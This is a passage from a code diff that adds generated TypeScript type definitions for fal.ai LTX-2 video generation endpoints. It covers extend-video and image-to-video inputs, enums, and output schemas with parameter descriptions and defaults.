and reflections shift across her denim jacket. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 2078003885 + * @type integer + */ + seed: number +} + +export type ImageSize11Ccf61E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BExtendVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BExtendVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BExtendVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BExtendVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BExtendVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BExtendVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BExtendVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BExtendVideoLoraSchedulerEnum] + +export const inputFalAiLtx2322BExtendVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BExtendVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BExtendVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BExtendVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BExtendVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BExtendVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BExtendVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BExtendVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BExtendVideoLoraVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BExtendVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BExtendVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BExtendVideoLoraVideoSize] + +export const inputFalAiLtx2322BExtendVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BExtendVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BExtendVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BExtendVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BExtendVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BExtendVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BExtendVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BExtendVideoLoraVideoQualityEnum] + +export const inputFalAiLtx2322BExtendVideoLoraExtendDirectionEnum = { + forward: 'forward', + backward: 'backward', +} as const + +export type InputFalAiLtx2322BExtendVideoLoraExtendDirectionEnumKey = + (typeof inputFalAiLtx2322BExtendVideoLoraExtendDirectionEnum)[keyof typeof inputFalAiLtx2322BExtendVideoLoraExtendDirectionEnum] + +export type InputFalAiLtx2322BExtendVideoLora = { + /** + * @description Video conditioning strength. Lower values represent more freedom given to the model to change the video content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description Audio conditioning strength. Lower values represent more freedom given to the model to change the audio content. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + audio_strength?: number + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BExtendVideoLoraAccelerationEnumKey + /** + * @description The URL of the video to extend. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The number of frames to use as context for the extension. + * @minimum 0 + * @maximum 121 + * @default 25 + * @type integer | undefined + */ + num_context_frames?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BExtendVideoLoraSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt to generate the video from. + * @example Continue the scene naturally, maintaining the same style and motion. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BExtendVideoLoraVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BExtendVideoLoraVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: ImageSize11Ccf61E | InputFalAiLtx2322BExtendVideoLoraVideoSizeKey + /** + * @description The LoRAs to use for the generation. + * @type array + */ + loras: LoRAInput[] + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BExtendVideoLoraCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BExtendVideoLoraVideoQualityEnumKey + /** + * @description The URL of the image to use as the end of the extended video. + */ + end_image_url?: string | null + /** + * @description Direction to extend the video. 'forward' extends from the end of the video, 'backward' extends from the beginning. + * @default 'forward' + * @type string | undefined + */ + extend_direction?: InputFalAiLtx2322BExtendVideoLoraExtendDirectionEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number + /** + * @description When true, match the output FPS to the input video's FPS instead of using the default target FPS. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean +} + +export type VideoFile5Cc45Bc9 = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BExtendVideoLora = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","num_frames":161,"url":"https://v3b.fal.media/files/b/0a894013/N9lnMTq7W3uMC0lOQg845_BknRPV8I.mp4","content_type":"video/mp4","duration":6.44,"fps":25,"width":1248} + * @type object + */ + video: VideoFile5Cc45Bc9 + /** + * @description The prompt used for the generation. + * @example A woman stands still amid a busy neon-lit street at night. The camera slowly dollies in toward her face as people blur past, their motion emphasizing her calm presence. City lights flicker and reflections shift across her denim jacket. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 2078003885 + * @type integer + */ + seed: number +} + +export type ImageSize7C6C0291 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BImageToVideoAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BImageToVideoAccelerationEnumKey = + (typeof inputFalAiLtx2322BImageToVideoAccelerationEnum)[keyof typeof inputFalAiLtx2322BImageToVideoAccelerationEnum] + +export const inputFalAiLtx2322BImageToVideoInterpolationDirectionEnum = { + forward: 'forward', + backward: 'backward', +} as const + +export type InputFalAiLtx2322BImageToVideoInterpolationDirectionEnumKey = + (typeof inputFalAiLtx2322BImageToVideoInterpolationDirectionEnum)[keyof typeof inputFalAiLtx2322BImageToVideoInterpolationDirectionEnum] + +export const inputFalAiLtx2322BImageToVideoSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BImageToVideoSchedulerEnumKey = + (typeof inputFalAiLtx2322BImageToVideoSchedulerEnum)[keyof typeof inputFalAiLtx2322BImageToVideoSchedulerEnum] + +export const inputFalAiLtx2322BImageToVideoVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BImageToVideoVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BImageToVideoVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BImageToVideoVideoOutputTypeEnum] + +export const inputFalAiLtx2322BImageToVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BImageToVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BImageToVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BImageToVideoVideoWriteModeEnum] + +export const inputFalAiLtx2322BImageToVideoVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BImageToVideoVideoSizeKey = + (typeof inputFalAiLtx2322BImageToVideoVideoSize)[keyof typeof inputFalAiLtx2322BImageToVideoVideoSize] + +export const inputFalAiLtx2322BImageToVideoCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BImageToVideoCameraLoraEnumKey = + (typeof inputFalAiLtx2322BImageToVideoCameraLoraEnum)[keyof typeof inputFalAiLtx2322BImageToVideoCameraLoraEnum] + +export const inputFalAiLtx2322BImageToVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BImageToVideoVideoQualityEnumKey = + (typeof inputFalAiLtx2322BImageToVideoVideoQualityEnum)[keyof typeof inputFalAiLtx2322BImageToVideoVideoQualityEnum] + +export type InputFalAiLtx2322BImageToVideo = { + /** + * @description The URL of the image to generate the video from. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-2-i2v-input.jpg + * @type string + */ + image_url: string + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BImageToVideoAccelerationEnumKey + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The strength of the image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + image_strength?: number + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The direction to interpolate the image sequence in. 'Forward' goes from the start image to the end image, 'Backward' goes from the end image to the start image. + * @default 'forward' + * @type string | undefined + */ + interpolation_direction?: InputFalAiLtx2322BImageToVideoInterpolationDirectionEnumKey + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BImageToVideoSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt used for the generation. + * @example A woman stands still amid a busy neon-lit street at night. The camera slowly dollies in toward her face as people blur past, their motion emphasizing her calm presence. City lights flicker and reflections shift across her denim jacket. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BImageToVideoVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BImageToVideoVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 0.2 + * @type number | undefined + */ + distill_lora_first_pass_scale?: number + /** + * @description The size of the generated video. + * @default auto + */ + video_size?: ImageSize7C6C0291 | InputFalAiLtx2322BImageToVideoVideoSizeKey + /** + * @description The camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @default 'none' + * @example none + * @type string | undefined + */ + camera_lora?: InputFalAiLtx2322BImageToVideoCameraLoraEnumKey + /** + * @description The scale of the camera LoRA to use. This allows you to control the camera movement of the generated video more accurately than just prompting the model to move the camera. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + camera_lora_scale?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + audio_stg_scale?: number + /** + * @description The quality of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx2322BImageToVideoVideoQualityEnumKey + /** + * @description The URL of the image to use as the end of the video. + */ + end_image_url?: string | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The gamma of gradient estimation during denoising. Set to 0 to disable. + * @minimum 0 + * @maximum 10 + * @default 2 + * @type number | undefined + */ + gradient_estimation_gamma?: number +} + +export type VideoFileFfdd786B = { + /** + * @description The height of the video + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The number of frames in the video + */ + num_frames?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The duration of the video + */ + duration?: number | null + /** + * @description The FPS of the video + */ + fps?: number | null + /** + * @description The width of the video + */ + width?: number | null +} + +export type OutputFalAiLtx2322BImageToVideo = { + /** + * @description The generated video. + * @example {"height":704,"file_name":"CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","num_frames":257,"url":"https://v3b.fal.media/files/b/0a88289e/CJcQGDrxOSRg2YFl5GNDt_glXPMoji.mp4","content_type":"video/mp4","duration":10.28,"fps":25,"width":1248} + * @type object + */ + video: VideoFileFfdd786B + /** + * @description The prompt used for the generation. + * @example Continue the scene naturally, maintaining the same style and motion. + * @type string + */ + prompt: string + /** + * @description The seed used for the random number generator. + * @example 866232447 + * @type integer + */ + seed: number +} + +export type ImageSize0Be7F49D = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiLtx2322BImageToVideoLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', + full: 'full', +} as const + +export type InputFalAiLtx2322BImageToVideoLoraAccelerationEnumKey = + (typeof inputFalAiLtx2322BImageToVideoLoraAccelerationEnum)[keyof typeof inputFalAiLtx2322BImageToVideoLoraAccelerationEnum] + +export const inputFalAiLtx2322BImageToVideoLoraInterpolationDirectionEnum = { + forward: 'forward', + backward: 'backward', +} as const + +export type InputFalAiLtx2322BImageToVideoLoraInterpolationDirectionEnumKey = + (typeof inputFalAiLtx2322BImageToVideoLoraInterpolationDirectionEnum)[keyof typeof inputFalAiLtx2322BImageToVideoLoraInterpolationDirectionEnum] + +export const inputFalAiLtx2322BImageToVideoLoraSchedulerEnum = { + ltx2: 'ltx2', + linear_quadratic: 'linear_quadratic', + beta: 'beta', +} as const + +export type InputFalAiLtx2322BImageToVideoLoraSchedulerEnumKey = + (typeof inputFalAiLtx2322BImageToVideoLoraSchedulerEnum)[keyof typeof inputFalAiLtx2322BImageToVideoLoraSchedulerEnum] + +export const inputFalAiLtx2322BImageToVideoLoraVideoOutputTypeEnum = { + 'X264 (.mp4)': 'X264 (.mp4)', + 'VP9 (.webm)': 'VP9 (.webm)', + 'PRORES4444 (.mov)': 'PRORES4444 (.mov)', + 'GIF (.gif)': 'GIF (.gif)', +} as const + +export type InputFalAiLtx2322BImageToVideoLoraVideoOutputTypeEnumKey = + (typeof inputFalAiLtx2322BImageToVideoLoraVideoOutputTypeEnum)[keyof typeof inputFalAiLtx2322BImageToVideoLoraVideoOutputTypeEnum] + +export const inputFalAiLtx2322BImageToVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx2322BImageToVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx2322BImageToVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx2322BImageToVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx2322BImageToVideoLoraVideoSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx2322BImageToVideoLoraVideoSizeKey = + (typeof inputFalAiLtx2322BImageToVideoLoraVideoSize)[keyof typeof inputFalAiLtx2322BImageToVideoLoraVideoSize] + +export const inputFalAiLtx2322BImageToVideoLoraCameraLoraEnum = { + dolly_in: 'dolly_in', + dolly_out: 'dolly_out', + dolly_left: 'dolly_left', + dolly_right: 'dolly_right', + jib_up: 'jib_up', + jib_down: 'jib_down', + static: 'static', + none: 'none', +} as const + +export type InputFalAiLtx2322BImageToVideoLoraCameraLoraEnumKey = + (typeof inputFalAiLtx2322BImageToVideoLoraCameraLoraEnum)[keyof typeof inputFalAiLtx2322BImageToVideoLoraCameraLoraEnum] + +export const inputFalAiLtx2322BImageToVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx2322BImageToVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx2322BImageToVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx2322BImageToVideoLoraVideoQualityEnum] + +export type InputFalAiLtx2322BImageToVideoLora = { + /** + * @description The URL of the image to generate the video from. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-2-i2v-input.jpg + * @type string + */ + image_url: string + /** + * @description Whether to use multi-scale generation. If True, the model will generate the video at a smaller scale first, then use the smaller video to guide the generation of a video at or above your requested size. This results in better coherence and details. + * @default true + * @type boolean | undefined + */ + use_multiscale?: boolean + /** + * @description Whether to generate audio for the video. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The seed for the random number generator. + */ + seed?: number | null + /** + * @description The modality scale for the audio. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + audio_modality_scale?: number + /** + * @description The Classifier-Free Guidance (CFG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 1 + * @maximum 20 + * @default 3 + * @type number | undefined + */ + video_cfg_scale?: number + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiLtx2322BImageToVideoLoraAccelerationEnumKey + /** + * @description The modality scale for the video. Controls the ratio between video and audio modalities. + * @minimum 0 + * @maximum 10 + * @default 3 + * @type number | undefined + */ + video_modality_scale?: number + /** + * @description The rescaling scale for the video. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + video_rescaling_scale?: number + /** + * @description Whether to use restart sampling. This will inject a small amount of noise during each denoising step, which can help improve the quality of the generated video. + * @default false + * @type boolean | undefined + */ + use_restart_sampling?: boolean + /** + * @description The strength of the image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + image_strength?: number + /** + * @description The number of frames to generate. + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The number of inference steps to use. + * @minimum 8 + * @maximum 50 + * @default 40 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + fps?: number + /** + * @description The direction to interpolate the image sequence in. 'Forward' goes from the start image to the end image, 'Backward' goes from the end image to the start image. + * @default 'forward' + * @type string | undefined + */ + interpolation_direction?: InputFalAiLtx2322BImageToVideoLoraInterpolationDirectionEnumKey + /** + * @description The scale of the distill LoRA to use for the second and subsequent passes. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + distill_lora_second_pass_scale?: number + /** + * @description The scheduler to use. + * @default 'ltx2' + * @example ltx2 + * @type string | undefined + */ + scheduler?: InputFalAiLtx2322BImageToVideoLoraSchedulerEnumKey + /** + * @description The strength of the end image to use for the video generation. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number + /** + * @description The Spatiotemporal Guidance (STG) scale for the video. Higher values result in more consistent and focused video content. + * @minimum 0 + * @maximum 20 + * @default 0 + * @type number | undefined + */ + video_stg_scale?: number + /** + * @description The prompt used for the generation. + * @example A woman stands still amid a busy neon-lit street at night. The camera slowly dollies in toward her face as people blur past, their motion emphasizing her calm presence. City lights flicker and reflections shift across her denim jacket. + * @type string + */ + prompt: string + /** + * @description The negative prompt to generate the video from. + * @default 'news broadcast, 3d animation, computer graphics, pc game, console game, video game, cartoon, childish, watermark, logo, text, on screen text, subtitles, titles, signature, slowmo, static' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The Classifier-Free Guidance (CFG) scale for the audio. Higher values result in more consistent and focused audio content. + * @minimum 1 + * @maximum 20 + * @default 7 + * @type number | undefined + */ + audio_cfg_scale?: number + /** + * @description The rescaling scale for the audio. Controls the ratio between classifier-free guidance and spatiotemporal guidance. + * @minimum 0 + * @maximum 1 + * @default 0.7 + * @type number | undefined + */ + audio_rescaling_scale?: number + /** + * @description The output type of the generated video. + * @default 'X264 (.mp4)' + * @type string | undefined + */ + video_output_type?: InputFalAiLtx2322BImageToVideoLoraVideoOutputTypeEnumKey + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx2322BImageToVideoLoraVideoWriteModeEnumKey + /** + * @description The scale of the distill LoRA to use for the first pass. Set to 0 to disable. + * @minimum 0 + * @maximum 1 + * @default 